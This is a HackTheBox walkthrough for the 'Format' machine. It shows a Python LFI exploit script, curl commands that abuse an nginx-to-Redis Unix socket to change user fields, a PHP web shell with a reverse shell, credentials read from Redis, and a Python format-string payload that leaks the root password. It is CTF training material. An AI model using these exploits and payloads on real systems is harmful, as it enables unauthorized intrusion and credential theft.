index-logo

Format - HTB

walkthrough by elswix

Machine: Format
Difficulty: Medium
Platform: HackTheBox
Release: Released on 05/13/2023


About Format


Format is a medium-difficulty machine in which we need to exploit a web service to read system files. We achieve this by inspecting the page's source code hosted on port 3000 in a repository of the Gitea service.


Shell as www-data


Thanks to the LFI we exploited, we were able to access sensitive information about the Nginx configuration. This allowed us to make requests to a UNIX Socket, enabling us to interact with Redis and alter user database property values. We escalated our user privileges by modifying the Pro field, increasing our advantages on the site.

As a Pro user, we have the capability to upload images, which are stored in a directory called uploads. With write privileges on this directory, we took advantage of the LFI vulnerability (which also allows writing files at the system level) to store a PHP web shell in the uploads directory. This allowed us to later execute system-level commands.


Shell as cooper


Once we gain access to the system, we can connect to the Redis socket using the redis-cli tool. This allows us to list all stored keys. By reading the key associated with the user cooper, we obtain their credentials and proceed to escalate our privileges to that user.


Shell as root


As the user cooper, we have sudo privileges to execute a Python program as the root user. This program is vulnerable to Python Format String Vulnerability, which allows us to access objects during the program's execution. Consequently, we can list the value of a variable that stores the root user's password.


Recon


Before we start with the exploitation, let's begin with enumeration. Machines expose services, and these services are exposed through ports.

With that in mind, we'll initiate a port scanning:

elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.213 -oN portScan

Nmap scan report for 10.10.11.213
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
Once we've completed the initial port scanning to identify the open ports on the victim machine (using the TCP protocol), we'll perform a comprehensive scan on these open ports. The goal is to recognize the technologies, services, and versions running on these ports that we've discovered.

Once again, we'll use nmap to perform this scan:

elswix@kali$ nmap -sCV -p22,80,3000 10.10.11.213 -oN fullScan
Nmap scan report for 10.10.11.213 (10.10.11.213)
Host is up (0.19s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
At first glance, we can see that port 22 belongs to the SSH service, port 80 belongs to HTTP (a web service), and port 3000 is also associated with an HTTP service.

One important note is that we are given a domain when accessing port 3000 via HTTP. Therefore, we should add it to the /etc/hosts file to enable proper resolution.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.213 microblog.htb
Before accessing the web services through the browser, I always like to run a technology scan using the whatweb tool.

elswix@kali$ whatweb -a 3 10.10.11.213
http://10.10.11.213 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.213], Meta-Refresh-Redirect[http://app.microblog.htb], nginx[1.18.0]
ERROR Opening: http://app.microblog.htb - no address for app.microblog.htb
When performing the scan on port 80, an error is reported because an attempt is made to access a subdomain that cannot be resolved. To resolve the subdomain, we should add it to the /etc/hosts file.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.213 microblog.htb app.microblog.htb
Inspecting the web service hosted on port 80, we observe the following:



If we scroll down on the homepage, there is a hyperlink that says "Contribute here!" which redirects us to the web service hosted on port 3000:



If we click on the hyperlink, we see the following:



Firstly, we can observe that Gitea is running under the web service on port 3000. Gitea is an open-source platform for source code repository management, similar to GitHub.

It appears that the hyperlink redirected us to a repository owned by the user cooper named microblog. It seems that this repository provides the source code for the homepage on port 80.

Before inspecting the code in-depth, I will navigate to the homepage and create a user account:



Once logged in with a valid user, it appears that the page offers services to create our own logs under subdomains:



We can specify the subdomain we want to use:



Upon creation, we are presented with the following:



We can try to access the site that was created. However, since it is accessed through a new subdomain, we need to add it to the /etc/hosts file in order to resolve it:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.213 microblog.htb app.microblog.htb elswix.microblog.htb
Now, if we attempt to access it, we see the following:



We also have the option to edit it by clicking on Edit It here.:



If we click on txt, we can add content to our blog:





Seeing our input reflected on the web page, we can attempt various injection attacks such as XSS, SSTI, among others. Let's try a simple XSS injection:



The fields are vulnerable to XSS injections. This is just a test and not part of the machine exploitation.

The requests to edit our blog are made in the /edit/index.php section.



Since we have access to the source code, we can try to understand how these user input fields are handled and potentially exploit them.

In the repository we saw earlier, there is an example of a blog on the subdomain sunny.microblog.htb where we can view the source code of the blogs. Most likely, this blog works similarly to ours, allowing us to analyze what happens behind the scenes.

Inspecting the microblog/sunny/edit/index.php file, we are presented with details about blog editing.

It's evident that the website is using Redis as a database backend:



Inspecting the code further, we arrive at the section where we can edit the content of our blog, and we see the following:



As a user, we can modify both parameters used in the function: id and txt.

What's happening here?

Firstly, this code processes user input, creates a file with the name specified in $_POST['id'], writes the HTML content to that file, and also logs the filename in order.txt.

In other words, the id parameter is the filename in which the information in HTML format will be written. The HTML-formatted information is a conversion of the information provided in the txt parameter. The file with the name specified by the id parameter is stored in the content directory with HTML content. Then, the filename (specified through the id parameter) is stored in the order.txt file. This is likely done to keep track of the files that are created.

Next, we encounter the following function:



This function is responsible for loading the content of the order.txt file, which, as mentioned earlier, stores the filename specified by the id parameter.

In other words, it loads the file whose name is stored in order.txt.

We can take advantage of this because we can input data into order.txt as we control the id parameter. Therefore, we can try to input a system-level file name to attempt to load it.

Let's try entering the file /etc/passwd in the id parameter, and then in the txt parameter, we'll input a random string; the content of the txt parameter doesn't matter much:



We send the request, and immediately in the response, we see the following:



In a not very elegant format, but we are reading files at the system level. We are abusing a Local File Inclusion (LFI).

I hope I have explained myself clearly; I apologize if I was not very clear.


Shell as www-data


First and foremost, we will create a script to automate the file reading process:

#!/usr/bin/python3 

import requests, random, re, sys, string, warnings

warnings.filterwarnings("ignore", category=DeprecationWarning)


# Global
chars = string.ascii_lowercase
blogName = ''.join(random.choice(chars) for i in range(10))
lfiUrl = "http://microblog.htb/edit/index.php"
createBlogUrl = "http://app.microblog.htb/dashboard/index.php"
loginUrl = "http://app.microblog.htb/login/index.php"


def readFile(fileToRead):

    login_data = {
        "username":"elswix",
        "password":"elswix123$!"
    }

    session = requests.session()
    response = session.post(loginUrl, data=login_data)

    blog_data = {
        "new-blog-name":"%s" % blogName
    }

    response = session.post(createBlogUrl, data=blog_data)

    lfi_data = {
        "id": "%s" % fileToRead,
        "txt": "" 

    }

    lfi_headers = {
        "Host": "%s.microblog.htb" % blogName
    }


    response = session.post(lfiUrl, data=lfi_data, headers=lfi_headers, allow_redirects=False)
    raw_output = re.search(r'const html = "<div class = \\".+?\\">(.*?)<\\/', response.text, re.DOTALL).group(1)

    encoded_output = raw_output.encode('utf-8')
    formatted_output = encoded_output.decode('unicode-escape')

    print(formatted_output)



def main():


    if len(sys.argv) < 2:
        print("\n\n[!] Not enough arguments: python3 %s <file>\n" % sys.argv[0])
        sys.exit(1)


    fileToRead = sys.argv[1]
    readFile(fileToRead)




if __name__ == '__main__':

    main()
Once the script is finished, we test its functionality by attempting to read the /etc/passwd file:

elswix@kali$ python3 exploit.py "/etc/passwd"

root:x:0:0:root:\/root:\/bin\/bash
daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin
bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin
sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin
sync:x:4:65534:sync:\/bin:\/bin\/sync
games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin
man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin
lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin
mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin
news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin
uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin
proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin
www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin
backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin
list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin
irc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin
nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin
_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin
systemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin
systemd-timesync:x:999:999:systemd Time Synchronization:\/:\/usr\/sbin\/nologin
systemd-coredump:x:998:998:systemd Core Dumper:\/:\/usr\/sbin\/nologin
cooper:x:1000:1000::\/home\/cooper:\/bin\/bash
redis:x:103:33::\/var\/lib\/redis:\/usr\/sbin\/nologin
git:x:104:111:Git Version Control,,,:\/home\/git:\/bin\/bash
messagebus:x:105:112::\/nonexistent:\/usr\/sbin\/nologin
sshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin
_laurel:x:997:997::\/var\/log\/laurel:\/bin\/false
Inspecting the system further, if we navigate to the configuration files of nginx, specifically the /etc/nginx/sites-available/default file, we can see the following:

location ~ \/static\/(.*)\/(.*) {
        resolver 127.0.0.1;
        proxy_pass http:\/\/$1.microbucket.htb\/$2;
}
While conducting some internet research, this nginx configuration structure can potentially be exploited to attempt interactions with Unix sockets. In this article, you can find information on how to potentially exploit this for Unix socket interactions. Additionally, I found some information in the following section of Exploit Notes - HDKS, which provides an example of attempting to modify values in a Redis database:



A configuration similar to the one we are dealing with is presented, along with a command for interacting with Redis. It appears to allow us to modify the values of fields associated with a key.

To gather more information about the fields whose values we can change, I began reading the section on registering new users.



Here, all the fields stored in the database are being leaked. Judging by the structure, it seems that the key in this case is the user, and the fields include username, password, first-name, and so on.

The values assigned to these fields are the ones received through the POST parameters.

Upon accessing our blog, we are presented with the following:



Having read through the source code, I noticed that the field returned when accessing the blog was first-name.

Knowing this, I can attempt to alter values by exploiting the vulnerable nginx configuration.

With this information in mind, let's try to change the first-name of our user and then reload the page to verify if the change was successful.

Recalling the structure shown in Exploit Notes - HDKS, we will begin making the requests.

HSET <key> <field> <value>
First, we make the request to /static (as shown in the nginx configuration), and using an HSET request, we will alter the first-name field for the key elswix (remember that the key belongs to our username), and finally, we will assign the value PWNED to the first-name field.

elswix@kali$ curl -s -X HSET 'http://microblog.htb/static/unix:/var/run/redis/redis.sock:elswix%20first-name%20PWNED%20/a'
If we now reload the page where our blog is hosted, we can see that we have successfully changed the value of the first-name field in our account.



Indeed, simply changing the first-name value may not be very useful.

Upon reevaluating the code, we notice the presence of a function that checks if the user has the Pro field set to true.



Certainly, users who have the value true in the pro field likely enjoy some additional advantages with their blogs.

Upon reading the code, we notice that users with the true value in the pro field have the privilege of uploading images to the blog:



We can upload images, and they are stored in the /uploads section, which initially, as a non-privileged user, we cannot access:



With this knowledge and taking advantage of our ability to alter database values through the vulnerability we found, let's change the value of the pro field for our user to true.

elswix@kali$ curl -s -X HSET 'http://microblog.htb/static/unix:/var/run/redis/redis.sock:elswix%20pro%20true%20/a'
We reload the blog editing page and see the following:



We have successfully become a Pro user.

To upload an image, we must ensure that it is in PNG format, as otherwise, it will not allow us to upload it:



We can access the image, and we see that it has been stored in the /uploads section:



Previously, the /uploads section did not exist, but now we can access it only if we know the names of the files located in that directory:



It appears that in the uploads directory, we have write privileges, given that we are uploading images. If we recall what we've observed, when executing the LFI, the information we entered in the id parameter was the name of the file where the information provided through the txt parameter would be written in HTML format.

What does this mean?

We can attempt to write a php program in the uploads directory (since we have access) that should be interpreted when loaded. We will specify the content of the php file using the txt parameter and indicate the location where it should be stored through the id parameter.



By sending this, the run.php file will be created in the /uploads section, where we can use the cmd parameter to specify system-level commands to execute:



Quickly, we will send a reverse shell to our attacker machine.

First, we need to set up a listener:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Next, we send the reverse shell by executing the following:



elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.213:43784.
bash: cannot set terminal process group (620): Inappropriate ioctl for device
bash: no job control in this shell
www-data@format:~/microblog/elswix/uploads$
We have successfully accessed the system, now we will simply adjust the TTY to interact more comfortably with the system:

www-data@format:~/microblog/elswix/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@format:~/microblog/elswix/uploads$ ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@format:~/microblog/elswix/uploads$ export TERM=xterm
www-data@format:~/microblog/elswix/uploads$ export SHELL=/bin/bash
www-data@format:~/microblog/elswix/uploads$


Shell as cooper


The first thing that came to mind after accessing the system was to list other system-level users:

www-data@format:~$ ls -l /home
total 8
drwxr-xr-x 2 cooper cooper 4096 May 22 20:41 cooper
drwx------ 2 git    git    4096 Apr 18 23:20 git
www-data@format:~$
First, I thought of connecting to Redis using the redis-cli tool, specifying the path to the redis.sock file since there is no mention of the service being exposed through ports:

www-data@format:~$ redis-cli -s /var/run/redis/redis.sock 
redis /var/run/redis/redis.sock>
Listing the keys in Redis, we come across the following:

redis /var/run/redis/redis.sock> keys *
1) "PHPREDIS_SESSION:6s3d6s122d2070uvovhs29c4s3"
2) "elswix"
3) "cooper.dooper:sites"
4) "elswix:sites"
5) "cooper.dooper"
redis /var/run/redis/redis.sock>
There's one that belongs to the user cooper. We can try listing its contents:

redis /var/run/redis/redis.sock> hgetall cooper.dooper
 1) "username"
 2) "cooper.dooper"
 3) "password"
 4) "zooperdoopercooper"
 5) "first-name"
 6) "Cooper"
 7) "last-name"
 8) "Dooper"
 9) "pro"
10) "false"
redis /var/run/redis/redis.sock>
We have the password for the user cooper leaked in line number 4. We can try testing it by performing a system-level user migration:

www-data@format:~$ su cooper
Password: zooperdoopercooper
cooper@format:/var/www$
Now that we are logged in as the user cooper, we can view the first flag:

cooper@format:/var/www$ cd
cooper@format:~$ cat user.txt
d23e9**********************feca4
cooper@format:~$


Shell as root


If we list the sudo privileges for the user cooper, we see the following:

cooper@format:~$ sudo -l
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:~$
The user cooper can run the program /usr/bin/license as root.

When listing the file type for license, we see that it is a Python script:

cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
cooper@format:~$
If we analyze the program carefully, we notice that we could potentially exploit a Python Format String Vulnerability. While searching for information, I came across the following article: Python Format String Vulnerabilities.

This article discusses how, by using Format String, you can attempt to access objects of classes in the running program. In other words, if we can exploit it successfully, we can try to access the content of variables defined in the program, for example.

But before we start exploiting it, let's take a closer look at how the code works.



First, the License class is created. The main __init__ function creates a variable called license that is set to a random string of 40 characters in length.

Before it starts performing operations, the program checks whether we are running it as root, i.e., as a privileged user.



Upon closer inspection, we find the following:



Firstly, we see interaction with Redis using the same socket through which we gained access.

Additionally, the program reads the file /root/license/secret, which appears to contain some kind of key.

The issue with this vulnerability arises here:



First, it stores the username from the user we input through the provision parameter.

Then, it creates a variable called firstlast that combines the first-name and last-name fields from the user we input through the provision parameter.

The problem arises when defining the license_key variable because it uses Format String on values of variables that we can control. For example, in the first-name field, we can enter any information we want since we have access to Redis. By using the format in this way, it exposes the vulnerability we saw in the article.

Searching a bit more on the internet, I also found the following article on StackExchange. This latter one is more comprehensive regarding the exploitation of the vulnerability.

Upon further reading of the code, we see that what's stored in the license_key variable is displayed on the screen:




Exploitation


Firstly, if we input a user through the provision parameter, we get the following report:

cooper@format:~$ sudo /usr/bin/license -p elswix

User does not exist. Please provide valid username.

cooper@format:~$
Let's try adding the user elswix through Redis:

cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock>
We can add it using the HMSET command:

redis /var/run/redis/redis.sock> HMSET elswix username elswix first-name elswix last-name elswix
OK
redis /var/run/redis/redis.sock>
Now, when executing the same command with sudo:

cooper@format:~$ sudo /usr/bin/license -p elswix

Plaintext license key:
------------------------------------------------------
microblogelswixq6o}|rY88)4H=fB;Rf@wx;Og3}f'~aw=>KBZ"|<<elswixelswix

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGa55Ei1j2RSdPvbwaaXJzMC2L1aLRyRami9bizj2cTzVsGI2Nafo-pNqSjfyLe3SSreJLzJsD7186CvyMJcy5ZKM1eWkWIm72oKmmC74JWgAYN_gl7LxFhpIWAN2ypdMDU2XNBaVLS-pjvHH9e7ILbglay4SATvztnsJ4WZzgfbG-04=

cooper@format:~$
We see that we are correct, and we can control what is stored in the variables. Knowing this, we can attempt to access variables defined in the program.

First, I will try to list the contents of the salt variable since I know its value and can verify if the vulnerability works.

Remember that we need to change the value of some of the fields that are displayed on the screen, for example, the first-name field:

redis /var/run/redis/redis.sock> HMSET elswix1 username elswix first-name {license.__init__.__globals__[salt]} last-name elswix
OK
redis /var/run/redis/redis.sock>
Now, if I try to execute the program:

cooper@format:~$ sudo /usr/bin/license -p elswix1

Plaintext license key:
------------------------------------------------------
microblogelswix0+!eJ-h2b[JN&@~G5mBcR7-Rh!\GQWw4Zc>!&N=Lb'microblogsalt123'elswix

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGa8qJfE91BdIPgImJcqKixVukvjw844HS2ITaHqGCEjF0yIeasPJo7bIY3ITOcVH3xAUNUzx6nfykSNlyRVa250XuHMpuQ_pBEEjHwNVHnFeLTB-3E4qCJ7-3T0SXh8dk_1IOj7_Uutzi2rPgSiixPJ8quEducf9FHrVgNniqfXguAqJAAS-NsPrV97WOiXa4wM6

cooper@format:~$
We see the value of the salt variable, which is microblogsalt123.

Since we can list the value of any variable, we can attempt to read the secret variable, which, from what we've seen, appears to contain a key stored in a file called /root/license/secret.

In my case, I will focus on the secret_encoded variable as it will be easier to identify in the output since the value will be stored in bytes format.

redis /var/run/redis/redis.sock> HMSET elswix2 username elswix first-name {license.__init__.__globals__[secret_encoded]} last-name elswix
OK
redis /var/run/redis/redis.sock>
Once again, we try to execute the program:

cooper@format:~$ sudo /usr/bin/license -p elswix2

Plaintext license key:
------------------------------------------------------
microblogelswixcxhik#u!A?8:bQtIastz\D8sYQyC:Q@ow5;<2KT7b'unCR4ckaBL3Pa$$w0rd'elswix

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABlGbCHM-PvcoDTv1oxmO-7sr5Wi7w7M_wxiERGuDt814ENoTZi7UoENeC-yRJpfzm7u4wxGnIKGRfsyqmZNQfv9VQiaAugEevkcYhLjORImzj4ASxocszr24jF_KU5d5UUDh9HM-U7thUul24SBN-k0P5Z7AU3X3Rhb_EAhjxHWz-GpScM18CnZ9BHjB249o1cX5ET

cooper@format:~$
As we can see, the string unCR4ckaBL3Pa$$w0rd was displayed. This appears to be a password that we can copy and try to use to escalate to the root user.

cooper@format:~$ su
Password: 
root@format:/home/cooper#
The password we obtained by displaying the value of the secret variable corresponds to the system-level root user's password.

Finally, we can read the last flag:

root@format:~# cat root.txt
1bd03**********************1d68d
root@format:~#